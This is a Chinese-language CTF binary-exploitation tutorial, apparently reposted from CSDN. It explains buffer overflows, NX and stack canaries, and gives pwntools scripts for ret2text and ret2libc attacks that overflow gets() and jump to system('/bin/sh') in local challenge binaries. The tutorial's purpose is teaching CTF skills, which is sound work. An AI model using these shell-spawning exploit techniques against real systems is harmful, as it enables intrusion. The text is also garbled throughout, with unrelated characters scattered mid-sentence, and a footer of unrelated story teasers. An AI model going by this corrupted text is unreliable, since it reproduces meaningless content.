PWN

PWN的基礎(chǔ)

一、PWN的由來

CTF比賽主要表現(xiàn)以下幾個技能上:逆向工程、密碼 學(xué)试疙、ACM編程柱徙、Web漏洞储耐、二進制溢出晦攒、網(wǎng)絡(luò)和取證等。在國際CTF賽事中,二進制溢出也稱之為PWN剔宪。

PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的留瞳,這個詞的含意在于硬梁,玩家在整個游戲?qū)?zhàn)中處在勝利的優(yōu)勢危号,或是說明競爭對手處在完全慘敗的 情形下兔朦,這個詞習(xí)慣上在網(wǎng)絡(luò)游戲文化主要用于嘲笑競爭對手在整個游戲?qū)?zhàn)中已經(jīng)完全被擊敯谥邸(例如:"You just got pwned!")胡野。有一個非常著名的國際賽事叫做Pwn2Own,相信你現(xiàn)在已經(jīng)能夠理解這個名字的含義了,即通過打敗對手來達到擁有的目的。

CTF中PWN題型通常會直接給定一個已經(jīng)編譯好的二進制程序(Windows下的EXE或者Linux下的ELF文件等),然后參賽選手通過對二進制程 序進行逆向分析和調(diào)試來找到利用漏洞,并編寫利用代碼荚坞,通過遠(yuǎn)程代碼執(zhí)行來達到溢出攻擊的效果瞭空,最終拿到目標(biāo)機器的shell奪取flag溺健。

二、Linux管道

Linux管道可以將一個進程的標(biāo)準(zhǔn)輸出作為另一個進程的標(biāo)準(zhǔn)輸入,管道的操作符號為“|”偷遗,比如ls命令可用于查看當(dāng)前目錄下的文件列表泵喘,而grep命 令可用于匹配特定的字符霹陡,因此ls | grep test命令可用于列出當(dāng)前目錄下文件名包含test的文件。

三、Python基礎(chǔ)

在Linux shell中執(zhí)行python -c "print 'Hello'"可以執(zhí)行雙引號中的Python語句,即通過print打印出Hello字符串。Python中單引號和雙引號沒有區(qū)別锦秒,因為這里使用雙 引號修飾Python語句,因此使用單引號修飾字符串汇歹。

四痰哨、gdb調(diào)試器

gdb是Linux下常用的一款命令行調(diào)試器撬讽,擁有十分強大的調(diào)試功能。本文中需要用到的gdb命令如下:

image

五靖榕、匯編基礎(chǔ)

讀懂常見的匯編指令是CTF競賽中PWN解題的基本要求:

image

匯編語言中毒返,esp寄存器用于指示當(dāng)前函數(shù)棧幀的棧頂?shù)奈恢门璩啵瘮?shù)中局部變量都存儲在検缂剩空間中锄贼,棧的生長方向是向下的(即從高地址往低地址方向生長)膘侮。

緩沖區(qū)溢出是指當(dāng)計算機向緩沖區(qū)內(nèi)填充數(shù)據(jù)位數(shù)時超過了緩沖區(qū)本身的容量昧诱,使得溢出的數(shù)據(jù)覆蓋在合法數(shù)據(jù)上蜈亩,理想的情況是程序檢查數(shù)據(jù)長度并不允許輸入超 過緩沖區(qū)長度的字符,但是絕大多數(shù)程序都會假設(shè)數(shù)據(jù)長度總是與所分配的儲存空間相匹配冒萄,這就為緩沖區(qū)溢出埋下隱患施流。


PWN的入門

一银受、學(xué)pwn需要哪些知識呢?

漏洞一般是1、gets函數(shù)這種對輸入沒有限制導(dǎo)致溢出拓提。2蹦疑、格式化字符串漏洞。3、數(shù)據(jù)類型轉(zhuǎn)換的時候產(chǎn)生了溢出咖刃。 總的來說就是對輸入的值限制的不夠讓用戶的輸入影響了執(zhí)行流枫浙。 那么如何利用漏洞呢? 在linux中有一個system函數(shù)system("/bin/bash")這條語句就可以調(diào)出shell轻纪。讓程序執(zhí)行這個函數(shù)就能實現(xiàn)對shell的調(diào)用了_掂僵。

二芹扭、需要注意什么

在溢出是要清楚2個問題:1要尔、哪里有漏洞熬词,也就是我們能把自己的代碼或者字符放到函數(shù)里并影響執(zhí)行寄猩。2泊柬、我們要讓它執(zhí)行什么。

三充活、簡單的pwn

```
nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}
```
這里需要安裝pwntools[這里可以安裝工具](https://blog.csdn.net/gyhgx/article/details/53439417)
```
from pwn import *
payload='A'*112+p32(0x0804863a)
p=process("./ret2text")
p.recvline()
p.sendline(payload)
p.interactive()
```
112臨時變量|addr(s)-ebp|+4 0x0804863a這個地址處是
```
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system
```

四合陵、系統(tǒng)保護機制

當(dāng)然系統(tǒng)也是有很多保護機制的

checksec工具可以幫助我們查看程序開啟的保護。

下面是checksec的執(zhí)行結(jié)果


root@kali:~/桌面# checksec ret2text

[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.

[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text'

    Arch:    i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:      NX enabled

    PIE:      No PIE (0x8048000)

現(xiàn)在我接觸的2個一個是NX和stack猜欺。NX保護是站內(nèi)代碼不可執(zhí)行。stack是在棧里面放一個canary值這個值一旦被修改就會觸發(fā)check_failed()函數(shù),打印程序名然后退出嫁赏。

NX保護:

你不能執(zhí)行我就不執(zhí)行攘乒,棧里面的內(nèi)容只負(fù)責(zé)把程序執(zhí)行流引入到一個需要的匯編代碼的位置處沽讹,然后調(diào)用程序自己的一些代碼來實現(xiàn)攻擊叹谁。你可以調(diào)用含有call或者ret代碼這樣就能一直連接下去。這就是大佬說的ROP鏈。

cannary:

函數(shù)在執(zhí)行的時候把一個值放入到棧內(nèi)的某個位置泽谨,我們想要溢出返回地址就要改變這個值搓蚪,返回的時候系統(tǒng)檢查canary值是否改變冯凹,如果改變就調(diào)用check_failed()函數(shù),打印程序名然后退出道逗〈蓑冢基于這個原理我們可以1桨嫁、找到canary的值然后填進去爷辙。2血当、可以覆蓋掉check_\failed()的調(diào)用地址換成system()

如果system和”/bin/bash”沒有放在一起怎么辦

這是ida反編譯結(jié)果钻蔑。


int __cdecl main(int argc, const char **argv, const char **envp)

{

  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);

  setvbuf(_bss_start, 0, 1, 0);

  puts("RET2LIBC >_<");

  gets(&s);

  return 0;

}

和之前唯一不同的是system和字符串“/bin/bash”分開了

下面是腳本


from pwn import *

elf=ELF('ret2libc1')

payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720)

p=process("./ret2libc1")

p.recvline()

p.sendline(payload)

p.interactive()

關(guān)注一下payload plt是elf加載動態(tài)庫用的 蓄拣,里面是個地址路鹰,存放著一個jmp xxx xxx就是system的地址碑诉》Γ’aaaa’是system的返回地址阀湿,不需要返回了所以這個值沒用,p32(0x8049720)是‘/bin/bash’的地址。需要注意的是上一個例子是只需要傳進去參數(shù)就行三娩,這里進入system的是ret不僅需要我們布置‘/bin/bash’還需要布置返回地址瓦宜。


作者:九層臺

來源:CSDN

原文:https://blog.csdn.net/qq_38204481/article/details/80099622

版權(quán)聲明:本文為博主原創(chuàng)文章侄泽,轉(zhuǎn)載請附上博文鏈接!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌肾扰,老刑警劉巖集晚,帶你破解...
    沈念sama閱讀 221,273評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡称龙,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,349評論 3 398
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來焊刹,“玉大人,你說我怎么就攤上這事以清【撩模” “怎么了今魔?”我有些...
    開封第一講書人閱讀 167,709評論 0 360
  • 文/不壞的土叔 我叫張陵障贸,是天一觀的道長篮洁。 經(jīng)常有香客問我袁波,道長蜗侈,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,520評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮夭苗,結(jié)果婚禮上隔缀,老公的妹妹穿的比我還像新娘猾瘸。我一直安慰自己,他們只是感情好牵触,可當(dāng)我...
    茶點故事閱讀 68,515評論 6 397
  • 文/花漫 我一把揭開白布仔蝌。 她就那樣靜靜地躺著,像睡著了一般荒吏。 火紅的嫁衣襯著肌膚如雪敛惊。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,158評論 1 308
  • 那天绰更,我揣著相機與錄音瞧挤,去河邊找鬼。 笑死儡湾,一個胖子當(dāng)著我的面吹牛特恬,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播徐钠,決...
    沈念sama閱讀 40,755評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼癌刽,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,660評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎档址,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體含友,經(jīng)...
    沈念sama閱讀 46,203評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡宜咒,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,287評論 3 340
  • 正文 我和宋清朗相戀三年庭砍,在試婚紗的時候發(fā)現(xiàn)自己被綠了诗轻。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,427評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖劝术,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情咆槽,我是刑警寧澤,帶...
    沈念sama閱讀 36,122評論 5 349
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響罗售,放射性物質(zhì)發(fā)生泄漏穆碎。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,801評論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望褂策。 院中可真熱鬧,春花似錦邢锯、人聲如沸歇父。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,272評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽驹饺。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間菩佑,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,393評論 1 272
  • 我被黑心中介騙來泰國打工糟把, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留遣疯,地道東北人聪舒。 一個月前我還...
    沈念sama閱讀 48,808評論 3 376
  • 正文 我出身青樓滔迈,卻偏偏與公主長得像敬惦,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子畴椰,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,440評論 2 359

推薦閱讀更多精彩內(nèi)容

  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,401評論 0 5
  • 似乎孩子們生來就和媽媽親昵,成長的那些年里蚂踊,和爸爸的對話是三句話不離一句“我媽呢”。孩子雖然依賴媽媽,媽媽也總會有...
    05c39a4edce1閱讀 1,005評論 0 0
  • 無論多么舍不得,我都對自己說放手米愿。喜歡和愛最大的區(qū)別就是 占有和付出。我不能肆無忌憚的去霸占笨腥,因為想看到你開心...
    影子人閱讀 247評論 0 0
  • 21日早晨十點過驅(qū)車回家,途中看到洛帶古鎮(zhèn)的旅游標(biāo)牌。離家已經(jīng)很近了,于是下高速去逛逛吕朵。洛帶古鎮(zhèn)的名聲很大,...
    山神山神閱讀 443評論 0 1
  • 制作mac 系統(tǒng)安裝盤 第一步 AppStore 下載軟件Mac appstore 下載鏡像 第二步 準(zhǔn)備一...
    gianna1030閱讀 286評論 0 0